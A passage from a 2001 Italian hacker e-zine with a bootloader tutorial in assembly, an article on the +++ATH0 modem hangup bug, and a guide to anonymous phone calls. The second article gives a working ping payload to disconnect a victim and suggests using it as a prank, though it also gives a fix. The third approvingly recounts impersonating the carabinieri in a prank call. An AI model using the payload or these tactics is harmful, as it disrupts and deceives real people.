cilindro", |
| in inglese chiamato "
cylinder". Il cilindro è l'ammontare di dati |
| immagazzinati in tutte le superfici di tutti i settori di una |
| sola traccia. |
| Quindi la quantità di dati immagazzinata in un cilindro si può |
| calcolare moltiplicando i bytes per settore per il numero di |
| settori per traccia, per il numero di superfici (o testine). |
| Nel caso di un floppy, questo calcolo è 512x2x18 = 18 Kb. |
| |
| Chiusa la piccola digressione, torniamo al bootblock. |
| Il bootblock è un singolo settore del disco, quindi su un floppy |
| del genere (ma attualmente su qualsiasi dispositivo magnetico), |
| il bootblock è lungo 512 bytes. |
| Come primo settore, è identificato come settore numero 1 della |
| superficie numero zero della traccia numero zero. Questo modo di |
| identificare i settori su un disco è chiamato "
coordinate CHS", |
| in quanto fornisce, nell'ordine, i tre valori che identificano: |
| (C)ylinder, (H)ead, (S)ector, in genere separati da duepunti. |
| Quindi le coordinate CHS del bootblock sono 0:0:1. |
| Attenzione a non confondersi: i settori sono sempre numerati |
| a partire da 1, mentre gli altri due valori partono da zero. Non |
| saprei dire perché, però le cose stanno così, che volete farci? |
| Il bootblock è un settore molto particolare, non tanto perché |
| è il primo settore fisico del supporto, quanto perché il BIOS si |
| aspetta di trovarci dentro il nostro bootstrap loader. Quando si |
| accende il PC con un floppy nel drive che DOS e Windows chiamano |
| "
A" (e che il BIOS definisce in un altro modo), il BIOS prova ad |
| accedere al primo settore del dischetto e, se lo trova, ne carica |
| i contenuti a partire da una locazione di memoria fissa: per la |
| precisione si tratta della locazione 0000:7C00h. Dopodiché, il |
| BIOS salta direttamente a quella locazione, da dove il nostro |
| SO può finalmente prendere il controllo del computer. |
| Spero che a questo punto sia chiaro che nel bootblock non c'è |
| nient'altro che un programmino fatto di puro codice, senza nessun |
| "
header", nessun "marchiatore" particolare. Soltanto 512 bytes di |
| puro codice macchina, che il BIOS eseguirà incondizionatamente. |
| |
| |
| |
| Come iniziare un bootstrap loader. |
| ---------------------------------- |
| |
| Bene, quei 512 bytes contenuti nel bootblock formano quel |
| minuscolo programma assembly chiamato "
bootstrap loader". Esso |
| si occupa di caricare in memoria il sistema operativo, a cui di |
| solito trasferisce il controllo prima possibile. Ora, per prima |
| cosa, vediamo come sviluppare un bootstrap loader senza far |
| crashare niente. |
| |
| Prima istruzione: |
| CLI |
| |
| attenzione alle interrupts. |
| Le interrupts sono brevi programmi eseguiti per gestire |
| periferiche ed eventi. Esse interrompono temporaneamente |
| l'esecuzione del programma corrente, e di solito non sono |
| pericolose per l'integrità del sistema. MA QUANDO IL BIOS |
| trasferisce il controllo al bootstrap loader, non si cura |
| di mettere a posto un'area di STACK. Dato che l'area di |
| stack è quella parte di memoria usata per memorizzare dati |
| temporanei (come gli indirizzi di ritorno dei programmini |
| che gestiscono le interrupts), se un'interrupt venisse |
| eseguita mentre lo stack non è ancora al suo posto, il |
| risultato sarebbe un immediato crash. |
| L'istruzione CLI fa sì che le interrupts vengano sospese |
| fino a nuovo ordine. In questo caso "
fino a nuovo ordine" |
| significa "
finché non viene incontrata un'istruzione STI". |
| |
| Dopodiché, si può proseguire così: |
| XOR DX, DX |
| MOV SS, DX |
| MOV SP, 7C00h |
| |
| Le istruzioni che seguono CLI sistemano lo stack, facendolo |
| puntare all'offset 7C00h del segmento zero. In particolare, |
| "
XOR DX, DX" è un modo più compatto di scrivere "MOV DX, 0". |
| Quindi in SS (Stack Segment) viene passato il valore zero, |
| ed in SP (Stack Pointer) viene passato il valore 7C00h. |
| Perché? Bè, per capirlo bisogna osservare questa piccola |
| mappa di memoria, che mostra la memoria al momento del boot; |
| gli indirizzi si riferiscono alla modalità reale (seg:off), |
| dove seg = segmento, off = offset, 16 bytes per segmento. |
| |
| INDIRIZZO (hex) LUNGHEZZA DESCRIZIONE |
| 0000:0000 1024 bytes Tabella interrupts |
| 0040:0000 256 bytes BIOS Data Area (BDA) |
| 0050:0000 30464 bytes (vuota) |
| 07C0:0000 512 bytes Bootstrap loader |
| 07E0:0000 fino a 9FC0:0000h (vuota) |
| 9FC0:0000 1024 bytes "
Vecchio ultimo Kb" |
| A000:0000 64 Kb Prima pagina grafica |
| B000:0000 32 Kb Testo monocromatico |
| B800:0000 32 Kb Testo a colori |
| C000:0000 fino a 32Kb ROM della scheda video |
| C800:0000 fino a 32Kb ROM del controller HD |
| D000:0000 fino a 256Kb Upper Memory Blocks |
| F000:0000 64 Kb BIOS di sistema (ROM) |
| FFF0:0000 16 bytes Warm Boot Handler |
| FFFF:0000 65520 bytes High Memory Area |
| |
| Come si vede, in corrispondenza dell'indirizzo 07C0:0000, |
| che si può anche scrivere come 0000:7C00 (e se non capite |
| perché vi consiglio un buon libro di assembly per Intel), |
| è stato caricato il nostro bootstrap loader. Discendendo |
| lungo la memoria si può spaziare per la bellezza di 30464 |
| bytes, prima di incontrare le aree di vitale importanza per |
| il BIOS (cioè la BDA e la IVT, Interrupt Vectors Table). |
| Orbene, dato che lo stack è un'area di memoria "
espand-down", |
| ovvero che viene espansa per decrementi del puntatore allo |
| stack (SP), questi 30464 bytes vengono riservati allo stack |
| iniziale. Il che, potete scommetterci, basta e avanza per |
| la tranquilla esecuzione delle interrupts. |
| Ora, magari qualcuno è curioso di sapere a cosa servono |
| tutte le altre aree di memoria, ma ci arriverò più avanti... |
| intanto, proseguiamo nella costruzione del bootstrap loader. |
| |
| Ora possiamo ripristinare le interrupts: |
| JMP $+2 |
| STI |
| |
| Uhmmm... come mai ho messo "
JMP $+2"? |
| Significa: salta alla locazione posta due bytes pià avanti |
| di quella eseguita in questo momento. La locazione eseguita |
| in quel momento è quella che contiene "
JMP", e due bytes più |
| avanti (vedi codice macchina di JMP) si trova l'istruzione |
| STI, quindi l'istruzione "
JMP $+2" non fa altro che "saltarsi |
| da sola". Ma perché l'ho messa? Perché i cambiamenti di stack |
| possono essere, a volte, un po' "
traumatici" per il computer. |
| Alcuni processori Intel e compatibili, di per sé, effettuano |
| un ciclo di arresto quando viene cambiato SP. Altri no. |
| Il fatto è che se un'interrupt venisse eseguita PROPRIO |
| subito dopo che il processore incontra "
STI", ci sarebbe una |
| vaga, *ma non nulla*, possibilità che lo stack punti ancora |
| alla precedente locazione. Il motivo tecnico, dal punto di |
| vista del microprocessore, non ve lo so spiegare, ma vi basti |
| sapere che questo tipo di comportamento è stato osservato. |
| D'altra parte, non costa (quasi) nulla mettere un salto |
| "
a vuoto" prima di STI, e quindi è consigliabile farlo, se |
| si vuole che non ci siano mai problemi durante il boot. |
| Un'altra cosa che non ho spiegato è perché ho usato proprio |
| il registro DX per caricare il segmento SS, e inoltre a quale |
| pericolosa locazione puntasse lo stack all'inizio. Allora... |
| Il layout (configurazione) dei registri nel momento in cui |
| il BIOS trasferisce il controllo al bootstrap loader, è questo: |
| |
| AX = POST status flags (flags di stato dopo il POST); |
| BX = CX = DX = indefiniti, ma in genere posti a zero; |
| SI = DI = BP = SP = tutti a zero; |
| IP = 7C00h oppure zero (dipende dal BIOS).

  
|
| |
| Mentre i registri di segmento appaiono così: |
| |
| CS = zero oppure 7C0h (dipende dal BIOS); |
| DS = ES = FS = GS = SS = zero. |
| |
| Se si deve azzerare un registro, la scelta più logica per |
| evitare di alterare qualche valore che potrebbe fornire delle |
| informazioni importanti, è proprio il registro DX. Ora, molti |
| SO semplicemente se ne infischiano dei flags di stato del POST |
| ed usano AX, ma è difficile dargli torto: in effetti, se il |
| boot è avvenuto, significa che eventuali fallimenti del POST |
| non sono stati critici. In genere, è possibile ignorare il |
| contenuto del registro AX. Solo che anche qui, non costa nulla |
| usare DX e lasciare AX intatto, almeno in questa prima sezione |
| del bootstrap loader. Quindi perché no? |
| |
| Ricapitolando... |
| CLI |
| XOR DX, DX |
| MOV SS, DX |
| MOV SP, 7C00h |
| JMP $+2 |
| STI |
| |
| Queste istruzioni introduttive dovrebbero essere considerate |
| "fisse", al di là di quel che poi il bootstrap loader farà per |
| caricare il kernel del sistema operativo. Queste istruzioni |
| hanno il solo scopo di "stabilizzare" l'ambiente di esecuzione. |
| |
| |
| |
| Il resto del bootstrap. |
| ----------------------- |
| |
| Ovvero come caricare il kernel; questo almeno in teoria. |
| Siccome le spiegazioni necessarie sono piuttosto lunghe, per |
| il momento mi fermo qui, fornendo come esempio di "bootstrap |
| loader funzionante" un minuscolo bootstrap loader, il quale si |
| limita a scrivere un classico "Hello, world!" sullo schermo e |
| poi attende un tasto. Alla pressione di un tasto, riavvia. |
| Comunque, è già importante notare che tutte le interrupts |
| utilizzate sono gestite dal BIOS. Non cercate, se le conoscete, |
| interrupts come la 21h (servizi DOS). Il DOS non c'è, così come |
| non c'è nessun altro sistema operativo in esecuzione: qui siete |
| del tutto soli, a quattr'occhi con il BIOS. State a vedere... |
| |
| ------8<------------8<------------8<------------8<------------8<------ |
| .MODEL TINY ; (ASM) modello di memoria |
| .CODE ; (ASM) inizio del programma |
| CLI ; istruzioni preparatorie |
| XOR DX, DX ; . |
| MOV SS, DX ; . |
| MOV SP, 7C00h ; . |
| JMP $+2 ; . |
| STI ; . |
| MOV DX, 07C0h ; DX = 7C0h |
| MOV DS, DX ; DS = DX |
| CMP BYTE PTR SS:[449h], 3 ; 0:449h = modalità video |
| JNE SiamoGiaInModoTesto ; (se 0:449h contiene 3) |
| MOV AX, 0003h ; AH = 0 (set mode), AL = 3 |
| INT 10h ; (servizi video del BIOS) |
| SiamoGiaInModoTesto: |
| LEA BP, MESSAGGIO ; BP = puntatore alla stringa |
| MOV AX, 1301h ; AX = funzione "textout" |
| MOV BX, 000Ah ; BH = pagina(0), BL = colori |
| MOV CX, LUNGHEZZA_STRINGA ; CX = lunghezza stringa |
| MOV DX, 0000h ; DH = riga(0), DL = colonna(0) |
| PUSH DS ; ES = DS, perché il BIOS vuole |
| POP ES ; che ES:BP punti alla stringa |
| INT 10h ; (servizi video del BIOS) |
| EdOraAspettaUnTasto: |
| XOR AX, AX ; AX = funzione "get keystroke" |
| INT 16h ; (servizi tastiera del BIOS) |
| InfineRiavvia: |
| INT 19h ; (BIOS bootstrap) |
| MESSAGGIO: |
| db 'Hello World!' ; la stringa da scrivere... |
| LUNGHEZZA_STRINGA EQU $-MESSAGGIO ; (ne calcola la lunghezza) |
| END ; (fine listato) |
| ------8<------------8<------------8<------------8<------------8<------ |
| |
| Ora, per comprendere tecnicamente come funziona questo listato, |
| dovreste imparare a consultare, oltre a un manuale di assembly, |
| una preziosissima fonte d'informazioni sul funzionamento del BIOS e |
| delle periferiche. Si tratta della "Ralf Brown's Interrupts List", |
| ufficialmente scaricabile dal seguente sito: |
| |
| http://www.pobox.com/~ralf/files.html |
| |
| Se cercate, in quei 7 megabytes e passa di documentazione, |
| le funzioni usate nell'esempio, troverete ogni dettaglio a esse |
| relativo (per esempio, perché il messaggio lo scrive in VERDE). |
| Inoltre potete consultare il file MEMORY.LST incluso nel |
| suddetto archivio, per capire meglio a cosa serva quel controllo |
| sulla locazione 0000:0449h (oppure 0040:0049h). |
| I files di Ralf Brown sono di vitale importanza se volete |
| andare avanti in questo progetto, quindi procurateveli subito, |
| esplorateli a fondo e teneteli sempre a portata di mano. |
| |
| |
| |
| E ora come faccio a metterlo nel bootblock? |
| ------------------------------------------- |
| |
| Per quanto mi riguarda, come assemblatore uso il "Borland TASM", |
| "Borland Turbo Assembler 3.1", con accluso il suo "Turbo Linker", |
| in ambiente MS-DOS. Nel caso possiate procurarvelo, la sintassi è: |
| |
| TASM LISTATO.ASM |
| TLINK LISTATO.OBJ |
| |
| Bene: abbiamo il listato, lo abbiamo assemblato, lo abbiamo linkato, |
| e quindi abbiamo ottenuto un file con estensione .EXE che rappresenta |
| il nostro primo bootstrap loader. E ora come ce lo mettiamo nel floppy? |
| Sicuramente, NON come un semplice file. Scordatevelo pure: il floppy |
| non deve avere un sistema operativo "altrui": deve essere un floppy del |
| tutto vuoto, ma comunque formattato. Formattato, precisiamolo, per un |
| qualsiasi sistema operativo. Un floppy formattato da Linux va benissimo |
| quanto un floppy formattato da DOS o Windows... |
| Insomma, un floppy formattato ma del cui "file system" non ce ne |
| frega assolutamente niente, visto che non useremo il file system per |
| trasferirvi il bootstrap loader: useremo un'utility di scrittura "RAW" |
| del dischetto. "RAW" significa "cruda", "non assistita", "diretta". |
| Uhm... io ho scritto un programma del genere, che si chiama STREAM, |
| ma purtroppo esiste solo per MS-DOS / Windows. Quindi procuratevi uno |
| di questi due SO per cominciare... se poi qualcuno conosce un programma |
| del proprio SO che sia equivalente a STREAM (anche nella flessibilità, |
| badate bene che non basta un programma o un comando che prende la |
| cosidetta "immagine binaria" di un intero dischetto e la memorizza sul |
| floppy, perché STREAM può eseguire delle scritture mirate e precise). |
| |
| Bè, comunque, per prima cosa assicuriamoci che il file .EXE venga |
| "ripulito" del proprio "header" (il blocco d'intestazione che il DOS |
| utilizza per caricare il programma in memoria). Questo perché il nostro |
| particolare file NON VERRA' eseguito sotto DOS (crasherebbe tutto), ma |
| bensì direttamente dal BIOS che, come detto, non necessita di "headers" |
| o marchiatori particolari. |
| Per tagliare l'header dal file .EXE, diciamo che lo abbiamo chiamato |
| "LISTATO.EXE", c'è un'altro tool chiamato CHOPHEAD ("mozza la testa"). |
| CHOPHEAD, nel caso di un header di 512 bytes come quello dei file .EXE, |
| si usa così: |
| |
| CHOPHEAD LISTATO.EXE 512 |
| |
| Dopodiché potrete notare che la dimensione del file si è ridotta di |
| 512 bytes, perché i primi 512 bytes del file sono stati tagliati via, |
| lasciano il resto. I bytes rimanenti sono PURO CODICE MACCHINA, proprio |
| quello che ci serve per inserirlo nel bootblock. |
| Ricordatevi, a questo punto, che quel che rimane del file non può, |
| in nessun caso, superare 512 bytes, se deve essere un bootstrap loader. |
| Il BIOS carica sempre un solo settore dal bootblock, e niente di più: |
| il resto del nostro sistema lo caricherà proprio il bootstrap loader. |
| Per quanto riguarda il nostro esempio, è lungo 67 bytes. |
| |
| Ora inseriamo il floppy nel drive A ed usiamo STREAM per memorizzare |
| il bootstrap loader sul primo settore fisico del disco, a coordinate |
| CHS 0:0:1. Queste coordinate, però, STREAM le interpreta nel formato |
| T:S:H, Track-Sector-Head; ma tradurle non è niente di complicato, |
| perché T (numero traccia) equivale a C (numero cilindro), e gli altri |
| due valori semplicemente si scambiano, ottenendo le coordinate 0:1:0. |
| Ricordandosi inoltre di sostituire i duepunti con spazi vuoti, abbiamo: |
| |
| STREAM LISTATO.EXE 0 1 0 |
| |
| Se tutto va bene, STREAM risponderà come segue: |
| |
| ! Beginning |
| ? Warning: disk changed since last operation |
| - Writing area 00:01:00 (TT:SS:HH, 0 sectors so far and going) |
| ! Complete |
| ? Warning: last sector incomplete [file size not multiple of 512] |
| total sectors written: 1 |
| total bytes used: 512 |
| last access: 1 sectors |
| first sector used: 00:01:00 |
| next free sector: 00:02:00 |
| |
| E una volta che l'operazione è andata a buon fine? |
| (Non curatevi dei "warnings" di STREAM, è regolare che ci siano...) |
| Dicevo, una volta fatto questo? Bè, per vedere il bootstrap loader in |
| azione non rimane che riavviare il computer... non che ci sia molto da |
| vedere: appunto, la scritta "Hello world!", verde, in alto a sinistra. |
| Se a quel punto volete riavviare con il SO che avete sull'hard disk, |
| semplicemente togliete il floppy dal drive e premete un tasto. |
| |
| E' tutto, per ora. Spero che l'argomento vi risulti interessante. |
| Nel prossimo capitolo vedremo come caricare un esempio di kernel. |
| |
| Alexander The Great |
| alex.tg@tiscalinet.it |
| http://members.designheaven.com/~44 |
| |
| |
+-------------------------------------------------------------------------------+


+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #04 - 19/11/2001 |
| +++ATH0 [_snake] 0x10/0x23 |
+-------------------------------------------------------------------------------+
| |
| +++ATH0 |
| Intanto cosa è il +++ATH0 ? |
| E' una stringa, un comando che viene eseguito dai modem. |
| Cosa esegue il modem con questa stringa? |
| Analizziamo intanto il tutto: |
| +++ fa si che il modem passi in modalità "Escape", ossia in esecuzione |
| comandi standard. |
| AT sono due lettere che precedono sempre il comando vero e proprio che in |
| questo caso è H0 |
| H0 è il corpo del comando, quello che il modem deve eseguire, che in questo |
| caso è: "Hangup", detto più semplicemente il modem stacca la telefonata. |
| Quindi quando un modem esegue questa stringa compie le seguenti operazioni: |
| +++ = Il modem passa in modalità "Escape" (esecuzione comandi) ' ATH0 = |
| Esecuzione di HANGUP. |
| A questo punto il modem ha staccato la telefonata con il POP e quindi si è |
| disconnesso da internet. |
| |
| Quali pericoli può indurre questo bug? |
| I pericoli sono veramente pochi, intanto perché è semplicissimo fixarlo |
| (spiegato dopo), |
| l' unica seccatura è portata dal fatto che ci sono molte persone che non |
| hanno niente da fare in IRC e potrebbero staccarti la connessione. |
| Perché il modem svolga questo comando, la stringa +++ATH0 deve essere in |
| uscita dal nostro modem. |
| Come? |
| Ci sono diversi modi…se trasferiamo un file contenete la parola +++ath0 ci |
| disconnettiamo, se inviamo un' e-mail contentente il testo +++ath0 ci |
| disconnettiamo. Se vuoi fare uno scherzo a qualcuno che è infetto da questo |
| bug, gli scrivi unì e-mail e in fondo in piccolo scrivi +++ath0. Molti |
| programmi di posta quando devono rispondere a un messaggio copiano il testo |
| dell'e-mail ricevuta e quindi anche la solita stringa +++ath0, quando la |
| invia…. ;). L' ECHO REPLY è il principio che usano i molti programmi di war |
| che sfruttano questo bug. |
| Inviando un ICMP ECHO a un ip vittima contenente la stringa +++ATH0, essa |
| risponderà con un ECHO REPLY copiando la suddetta stringa. Risultato che |
| +++ATH0 esce dal modem della vittima e quindi avrà una disconnessone |
| immediata. |
| |
| Potremmo anche sbizzarrirci a far eseguire al modem della vittima tanti |
| comandi diversi. |
| |
| Da linux è possibile fare la stessa cosa con i ping. |
| Il comando ping serve per controllare una connessione remota, inviando dei |
| bytes che verranno restituiti in risposta. |
| Si possono definire i bytes che viaggiano, con l'opzione -p. |
| Il comando sarà: |
| ping -p 2B2B2B41544830 -s 5 123.45.67.89 |
| |
| 2B2B2B41544830 è la stringa +++ATH0 in esadecimale, -s 5 è la grandezza del |
| pacchetto (in questo caso 5 bytes), 123.45.67.89 è l'ip della vittima. |
| Recentemente ho scoperto una cosa curiosa: |
| stavo cercando il modo di immunizzarmi e cercai in VIRGILIO |
| (www.virgilio.it) la parola +++ATH0. Appena schiacciai INVIO la connessione |
| terminò senza motivo. |
| Riconnesso feci di nuovo la ricerca con lo stesso risultato. |
| Analizzando l'url che eseguiva explorer c'era la stringa %2B%2B%2Bath0, dove |
| %2B in codice ascii è uguale a +. |
| Un modem quando deve processare un url, prima lo analizza, poi invia la |
| richiesta al server. Quando il modem attua quest'ultima operazione, fa |
| "uscire" anche la stringa %2B%2B%2Bath0. |
| Conseguenza? |
| Hangup. |
| Provai a scrivere www.%2B%2B%2Bath0.it , oppure solamente %2B%2B%2Bath0, ma |
| non accadeva nulla…Poi feci un redirect con cjb.net, precisamente |
| b00m.cjb.net e redirectai www.%2B%2B%2Bath0.it. Ancora niente…Pensandoci |
| bene ogni url che scrivevo non esisteva, quindi pensai che per far eseguire |
| il comando +++ATH0 il modem doveva caricare qualcosa, un url esistente, un |
| server a cui mandare la richiesta, L'importante è che contiene anche il |
| comando di "Hangup". |
| Feci una pagina htm e la chiamai +++ath0.htm . Poi l'uploadai a un web |
| hosting, mi resi di nuovo scoperto all' +++ath0 e eseguii l'url. |
| Caddi subito. Riprovai diverse volte e cadevo ad ogni tentativo. Quando mi |
| immunizzavo di nuovo al bug, non accadeva assolutamente niente. |
| |
| Per proteggersi da eventuali attacchi ci sono diversi modi, intanto |
| controlla se già non sei attaccabile da questo bug: www.b00m.cjb.net . Li ho |
| messo la page di cui ho parlato prima. Appena caricata non ci sarà |
| apparentemente niente, apparte il solito IMPOSSIBILE VISUALIZZARE LA PAGINA |
| WEB. Non perché non è stata caricata o perché non esiste. Semplicemente |
| nell' html della page ho messo l'html delle pagine non visualizzabili…ma con |
| un errore…se guardi bene lo scopri =) |
| |
| Immunizziamoci. |
| - Filtrare gli icmp contenenti la stringa +++ATH0. Questo e' possibile, ma |
| fastidioso e poi se vorremmo lanciare noi degli attacchi di questo genere |
| saremmo i primi a cadere. |
| - Cambiare il carattere di escape. Invece di + potrebbe essere -, ma alcuni |
| nuker provano tutto il range di ascii possibili e quindi potrebbero riuscire |
| a farti cadere. |
| Il modo più efficace e' fixare il modem con l'apposita stringa ATS2=255 . |
| Per farlo basta andare a Risorse del computer ' Accesso remoto , clickare |
| col dx sulla tua connessione e selezionare Proprietà. Si aprirà una |
| finestra, in basso c'è un pulsante con scritto configura, clickaci, a questo |
| punto si apre una seconda finestra, in alto al centro c'è Connessione, |
| clicka li, poi nella schermata che viene in basso c'è un pulsante: Avanzate. |
| Si aprirà una terza finestra. Al centro c'è "Altre impostazioni", incolla |
| dentro questa stringa: ATS2=255. |
| |
| Questo e' il mio primo articolo per una e-zine, spero ti sia piaciuto =) |
| Per critiche, approfondimenti, o quello che ti pare scrivimi a: |
| solid.snake@email.it |
| Hi, snake_ |
| |
| |
+-------------------------------------------------------------------------------+


+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #04 - 19/11/2001 |
| TELEF0NARE iN M0D0 AN0NiM0 [Screener_it] 0x11/0x23 |
+-------------------------------------------------------------------------------+
| |
| Titolo: come fare chiamate anonime da fisso, cellulare, cabina. |
| Autore: Screener_it |
| email: screener_it@freemail.it |
| web site: http://go.to/tankcommandos |
| |
| Ogni riferimento a cose, fatti, persone, avvenimenti, sono frutto di |
| pura fantasia. |
| Il testo deve intendersi a scopo esclusivamente informativo (io non |
| vi invito a fare cazzate.. Anzi !!) |
| |
| /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ |
| ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
| \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ |
| |
| Oggi parleremo di chiamate anonime amici !!! |
| Chi di voi non ha mai fatto scherzi telefonici ? Sono divertenti, fanno |
| crepare dal ridere e se fatte bene sono qualcosa di unico.. |
| Tanto per farvi un esempio, un paio di settimane fa ero a casa mia che |
| guardavo |
| insieme a un po' di miei amici (20 persone !!) la partita Inter - Juve. |
| Lasciamo stare la partita, di quella non voglio parlare. |
| Dicevamo, stavamo guardando la partita e nell'intervallo ci è venuta un'idea |
| !! |
| Chiamare a casa di un nostro amico [che chiameremo C.] (a cui i carabinieri |
| avevano messo in fermo amministrativo l'Ape) e fargli un bello scherzo. |
| Però bisogna restare seri e tranquilli. Quindi lo faccio io. |
| Prendo il cellulare e chiamo casa di questo povero pirla. |
| Ecco la chiamata: (le * sono messe per la privacy) |
| P.= padre del C. |
| S.= Screener_it |
| |
| P.: Pronto ? |
| S.: Pronto ? Famiglia *** ? |
| P.: Sì, chi parla ? |
| S.: E' la caserma dei carabinieri di ****. Posso parlare con il signor C. ? |
| P.: No, adesso non c'è. Ci sono problemi per caso ? |
| S.: Sì, a dir la verità un problema c'è. Qui mi risulta che il suo mezzo, mi |
| pare sia [adesso rumore di fogli per fare finta che stai rovistando nei |
| documenti] un'Ape è stata messa in fermo amministrativo. Sbaglio ? |
| P.: No, no, ha ragione. |
| S.: E mi risulta che lei ha firmato per tenere il mezzo suddetto presso la |
| vostra abitazione. E' esatto ? Se mi sbaglio mi corregga pure. |
| P.: No, no, è tutto giusto. |
| S.: Bene, ci risulta che oggi l'Ape è stata vista girare per il paese con 2 |
| persone a bordo. |
| P.: No, è impossibile. L'Ape è sempre restata qua a casa !!! |
| S.: Il numero di targa è 44WWW ? (al posto di 44WWW mettete la targa vera). |
| P.: Sì. |
| S.: Senta, non mi prenda in giro !! E' sicuro che l'Ape non si sia mossa ? |
| P.: Certo, certo. Almeno.. Cioè io non l'ho tenuta sotto controllo del |
| tutto.. Forse il ragazzo.. |
| S.: Calmo, calmo. Forse ci stiamo sbagliando noi. Controllerò di nuovo e la |
| richiamerò più tardi per eventuali aggiornamenti, va bene ? |
| P.: Sì, grazie, grazie davvero. Guardi, appena torna il C. gli faccio un |
| culo se ha usato l'Ape.. |
| S.: Forse non serve usare la violenza, vedremo di risolvere la questione. Le |
| ricordo comunque che in caso chi risponde penalmente è lei !! Arrivederci !! |
| |
| Tutti in giro a me erano per terra a ridere a crepapelle, ma io ero riuscito |
| a mantenere la calma. Basta che facciate una voce seria e impostata. Non |
| tentate di modificarla, vi beccherebbero subito. Calma e sangue freddo e |
| tutto filerà per il verso giusto. |
| Dopo ho fatto un'altra chiamata al padre dicendo che era tutto uno scherzo, |
| altrimenti quello il C. lo pestava a sangue. |
| |
| Dicevamo delle telefonate anonime. Se facevo uno scherzo del genere e chi |
| riceveva la telefonata aveva il temuto "Chi é" della Telecom si trovava con |
| il mio bel numero e rischiavo di trovarmi il padre di questo qui a casa con |
| una spranga e (nella peggiore delle ipotesi) una denuncia per essermi |
| spacciato per un carabiniere. |
| |
| Come fare allora a fare scherzi telefonici senza essere beccati ? Semplice, |
| basta anonimizzare la chiamata. |
| I metodi si differenziano se usate un telefono fisso (tipo quello di casa), |
| il cellulare ,una cabina telefonica o gli SMS |
| |
| /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ |
| 1.- Telefono fisso |
| \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ |
| |
| L'ho scoperto di recente.. Cmq funziona alla stragrande. |
| Cominciamo che il sistema "manuale" è gratuito. Che è già un bel dire. |
| Comunque basta anteporre al numero da chiamare *67# oppure 1793. |
| Come oppure ? Funzionano entrambi, li ho messi entrambi perchè non tutti i |
| telefoni (tipo il mio cordless vecchio preistorico) accettano come primo |
| numero la *. |
| Un altro motivo è che se volete chiamare il vostro provider non potete |
| anteporre *67#, perchè il computer non li riconosce. Anteponete 1793. |
| Per chi non avesse capito il funzionamento: |
| mettiamo per esempio che vogliate chiamare il numero 02 123456 (numero a |
| caso). |
| Se volete fare in modo che non appaia il vostro numero basta digitare |
| *67#0212345 |
| Capito adesso ? |
| Questo sistema si chiama (testualmente) Blocco Identificativo del Chiamante |
| (sigla BIC). |
| Anteporre però ogni volta il *67# è però un po' pesante se si vuole usare |
| sempre. |
| Potete (a pagamento) avere il BIC permanente, così facendo TUTTE le chiamate |
| in uscita dal vostro telefono di rete fissa saranno anonime. Per avere il |
| BIC permanete dovete fare richiesta per iscritto alla Telecom (per maggiori |
| informazioni telefonate a quelle belle troie del 187). |
| |
| NOTIZIA PURAMENTE TEORICA: quando scrivo adesso è solo una mia pazza idea.. |
| Vi siete accorti che adesso sulle bollette appaiono anche il numero di |
| chiamate fatte in rete urbana, extraurbana, verso mobili, ecc.. (se c'era |
| anche prima non so, me ne sono accorto adesso, dopo che i miei mi hanno |
| sbattutto in faccia la bolletta !!). |
| Ora.. Dato che mi sono trovato la ragazza (ciao Marina !!)[e l'ho già persa, |
| se è per quello !!] e che la chiamo praticamente tutti i giorni sul |
| cellulare per min. 15 minuti quando arriva la bolletta e i miei vedono 40 |
| telefonate a mobile mi fanno il culo !! (o lo fanno a mia sorella, che è |
| meglio !!). |
| Non è che magari con quel *67# sulla bolletta non risulta che è una chiamata |
| al cellulare, ma che è una semplice urbana ? Chi ha notizie in merito mi |
| mandi una mail !!! |
| |
| /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ |
| 2.- Telefono cellulare |
| \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ |
| |
| Questo sistema invece è vecchio come il mondo. (meglio, vecchio come la |
| diffusione del cellulare o quasi.) |
| L'Italia (notizia di pochi giorni fa) è tra i paesi con la più alta presenza |
| in percentuale di cellulari. |
| Praticamente tutti ce l'hanno (se l'è comprato pure la mia nonnina !!). |
| E volete farmi credere che non fate mai scherzi (dal classico squillo alle |
| minacce di morte via SMS). |
| Qui però la faccenda è più seria. Infatti TUTTI i cellulari hanno già in sè |
| l'identificativo del chiamante. In questo modo appena voi chiamate sul |
| display (che bella 'sta parola !!) del telefonino appare il vostro bel |
| numero. |
| Un po' scocciante non vi pare ? Ma c'è rimedio a tutto !!! Per i cellulari |
| infatti cambiando i codici da anteporre al numero, ma l'essenza resta quella |
| !!! |
| Basta mettere davanti al numero il famoso #31# e il gioco è fatto. |
| Esempio (x i più celebrolesi): |
| Volete chiamare lo 0338 1111111 ma volete restare anonimi ? Digitate |
| #31#03381111111 e il telefonino che riceve la chiamata al posto del vostro |
| numero scriverà "Anonimo" o "Numero privato" !!! STUPENDO !!! |
| |
| /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ |
| 3.- Cabine telefoniche |
| \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ |
| |
| Scrivo questa parte solo per un paio di miei amici, che sono furbi come.. |
| Và, non dico quanto sono furbi xchè se no mi sbattono fuori dalla compagnia |
| (e dopo con chi faccio la "bala" ?) |
| Allora, era inverno, gennaio ed era il giorno della festa del mio |
| compleanno. Faccio la festa a casa mia. I miei non c'erano, quindi l'alcool |
| girava come fosse acqua. A mezzanotte eravamo tutti ubriachi. |
| Uno dei miei amici (che x rispetto alla privacy chiameremo R.) era insieme a |
| Ch. |
| A un certo punto della serata si mollano, xchè lei gli aveva fatto i corni. |
| Tralasciamo il fatto che lui ha tentato di pestarla, sorvoliamo sul fatto |
